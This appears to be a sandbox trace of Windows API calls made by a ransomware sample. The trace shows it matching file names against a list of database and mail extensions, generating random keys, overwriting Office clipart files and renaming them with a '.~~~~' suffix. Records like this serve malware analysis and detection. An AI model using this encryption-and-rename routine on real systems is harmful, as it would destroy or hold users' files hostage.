	[0112.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".PST") returned 0x0
	[0112.435] lstrlenW (lpString=".dbf") returned 4
	[0112.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".dbf") returned 0x0
	[0112.435] lstrlenW (lpString=".SQL") returned 4
	[0112.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".SQL") returned 0x0
	[0112.435] lstrlenW (lpString=".pst") returned 4
	[0112.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".pst") returned 0x0
	[0112.436] lstrlenW (lpString=".dbv") returned 4
	[0112.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".dbv") returned 0x0
	[0112.436] lstrlenW (lpString=".SDF") returned 4
	[0112.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".SDF") returned 0x0
	[0112.436] lstrlenW (lpString=".dtxs") returned 5
	[0112.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".dtxs") returned 0x0
	[0112.436] lstrlenW (lpString=".db3") returned 4
	[0112.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".db3") returned 0x0
	[0112.436] lstrlenW (lpString=".OST") returned 4
	[0112.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".OST") returned 0x0
	[0112.436] lstrlenW (lpString=".dbx") returned 4
	[0112.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".dbx") returned 0x0
	[0112.436] lstrlenW (lpString=".DB3") returned 4
	[0112.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".DB3") returned 0x0
	[0112.436] lstrlenW (lpString=".DAT") returned 4
	[0112.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".DAT") returned 0x0
	[0112.436] lstrlenW (lpString=".VHDX") returned 5
	[0112.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".VHDX") returned 0x0
	[0112.436] lstrlenW (lpString=".ndf") returned 4
	[0112.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".ndf") returned 0x0
	[0112.436] lstrlenW (lpString=".DB") returned 3
	[0112.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".DB") returned 0x0
	[0112.436] lstrlenW (lpString=".sql") returned 4
	[0112.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".sql") returned 0x0
	[0112.436] lstrlenW (lpString=".MYD") returned 4
	[0112.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".MYD") returned 0x0
	[0112.437] lstrlenW (lpString=".DBT") returned 4
	[0112.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".DBT") returned 0x0
	[0112.437] lstrlenW (lpString=".ACCDB") returned 6
	[0112.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".ACCDB") returned 0x0
	[0112.437] lstrlenW (lpString=".fdb") returned 4
	[0112.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".fdb") returned 0x0
	[0112.437] lstrlenW (lpString=".bak") returned 4
	[0112.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".bak") returned 0x0
	[0112.437] lstrlenW (lpString=".myd") returned 4
	[0112.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".myd") returned 0x0
	[0112.437] lstrlenW (lpString=".DTXS") returned 5
	[0112.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".DTXS") returned 0x0
	[0112.437] lstrlenW (lpString=".ckp") returned 4
	[0112.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".ckp") returned 0x0
	[0112.437] lstrlenW (lpString=".dbt") returned 4
	[0112.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".dbt") returned 0x0
	[0112.437] lstrlenW (lpString=".db") returned 3
	[0112.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".db") returned 0x0
	[0112.437] lstrlenW (lpString=".TXT") returned 4
	[0112.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".TXT") returned 0x0
	[0112.437] lstrlenW (lpString=".MDF") returned 4
	[0112.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".MDF") returned 0x0
	[0112.438] lstrlenW (lpString=".bdb") returned 4
	[0112.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".bdb") returned 0x0
	[0112.438] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0112.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0112.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0112.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x363058
	[0112.438] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0112.439] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.439] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.439] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0112.440] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0112.440] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23242969733) returned 1
	[0112.440] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xac9f8ed0, dwHighDateTime=0x1d60e1e)) 
	[0112.440] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0112.440] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0112.440] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0112.440] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x29bc248
	[0112.440] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.440] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29bc248 | out: hHeap=0x300000) returned 1
	[0112.440] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.440] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.440] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29caaa8
	[0112.440] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.440] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2832258
	[0112.440] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29caaa8 | out: hHeap=0x300000) returned 1
	[0112.440] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0112.441] GetLastError () returned 0x0
	[0112.441] GetLastError () returned 0x0
	[0112.441] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0112.441] GetLastError () returned 0x0
	[0112.441] GetLastError () returned 0x0
	[0112.443] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffe03c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.443] WriteFile (in: hFile=0x130, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x1fc4, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x26dfec0*=0x1fc4, lpOverlapped=0x0) returned 1
	[0112.445] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0112.446] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.446] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.446] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.446] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.446] CloseHandle (hObject=0x130) returned 1
	[0112.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29cc6e0
	[0112.446] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02169_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02169_.wmf.~~~~")) returned 1
	[0112.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cc6e0 | out: hHeap=0x300000) returned 1
	[0112.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0112.448] GetLastError () returned 0x0
	[0112.448] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0112.450] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.450] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.450] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0112.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0112.450] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23244006070) returned 1
	[0112.450] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xac9f8ed0, dwHighDateTime=0x1d60e1e)) 
	[0112.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0112.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0112.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0112.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282ffe8
	[0112.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.450] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282ffe8 | out: hHeap=0x300000) returned 1
	[0112.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.451] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29cc6e0
	[0112.451] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2832550
	[0112.451] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cc6e0 | out: hHeap=0x300000) returned 1
	[0112.451] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0112.451] GetLastError () returned 0x0
	[0112.451] GetLastError () returned 0x0
	[0112.451] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0112.451] GetLastError () returned 0x0
	[0112.452] GetLastError () returned 0x0
	[0112.454] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffff8a1e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.454] WriteFile (in: hFile=0x130, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x75e2, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x26dfec0*=0x75e2, lpOverlapped=0x0) returned 1
	[0112.456] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0112.456] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.456] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.456] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.456] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.456] CloseHandle (hObject=0x130) returned 1
	[0112.456] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29cc6e0
	[0112.456] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02262_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02262_.wmf.~~~~")) returned 1
	[0112.457] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cc6e0 | out: hHeap=0x300000) returned 1
	[0112.458] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0112.458] GetLastError () returned 0x0
	[0112.458] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0112.459] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.459] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.459] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0112.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0112.459] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23245358869) returned 1
	[0112.464] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xaca1f030, dwHighDateTime=0x1d60e1e)) 
	[0112.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0112.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0112.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0112.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830020
	[0112.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.464] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830020 | out: hHeap=0x300000) returned 1
	[0112.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.464] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29cc6e0
	[0112.464] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28325e8
	[0112.464] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cc6e0 | out: hHeap=0x300000) returned 1
	[0112.464] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0112.465] GetLastError () returned 0x0
	[0112.465] GetLastError () returned 0x0
	[0112.465] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0112.465] GetLastError () returned 0x0
	[0112.465] GetLastError () returned 0x0
	[0112.514] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffff7db2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.514] WriteFile (in: hFile=0x130, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x824e, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x26dfec0*=0x824e, lpOverlapped=0x0) returned 1
	[0112.517] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0112.517] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.517] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.517] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.517] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.517] CloseHandle (hObject=0x130) returned 1
	[0112.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29caaa8
	[0112.549] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02263_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02263_.wmf.~~~~")) returned 1
	[0112.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29caaa8 | out: hHeap=0x300000) returned 1
	[0112.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0112.561] GetLastError () returned 0x0
	[0112.665] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0112.666] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.666] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.666] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0112.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0112.667] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23265671018) returned 1
	[0112.667] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xacc0e210, dwHighDateTime=0x1d60e1e)) 
	[0112.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0112.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0112.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0112.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830368
	[0112.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.667] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830368 | out: hHeap=0x300000) returned 1
	[0112.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.667] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0112.667] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2832ed0
	[0112.667] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.667] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0112.668] GetLastError () returned 0x0
	[0112.668] GetLastError () returned 0x0
	[0112.668] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0112.668] GetLastError () returned 0x0
	[0112.668] GetLastError () returned 0x0
	[0112.673] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffba7c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.673] WriteFile (in: hFile=0x138, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x4584, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x26dfec0*=0x4584, lpOverlapped=0x0) returned 1
	[0112.675] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0112.675] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.675] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
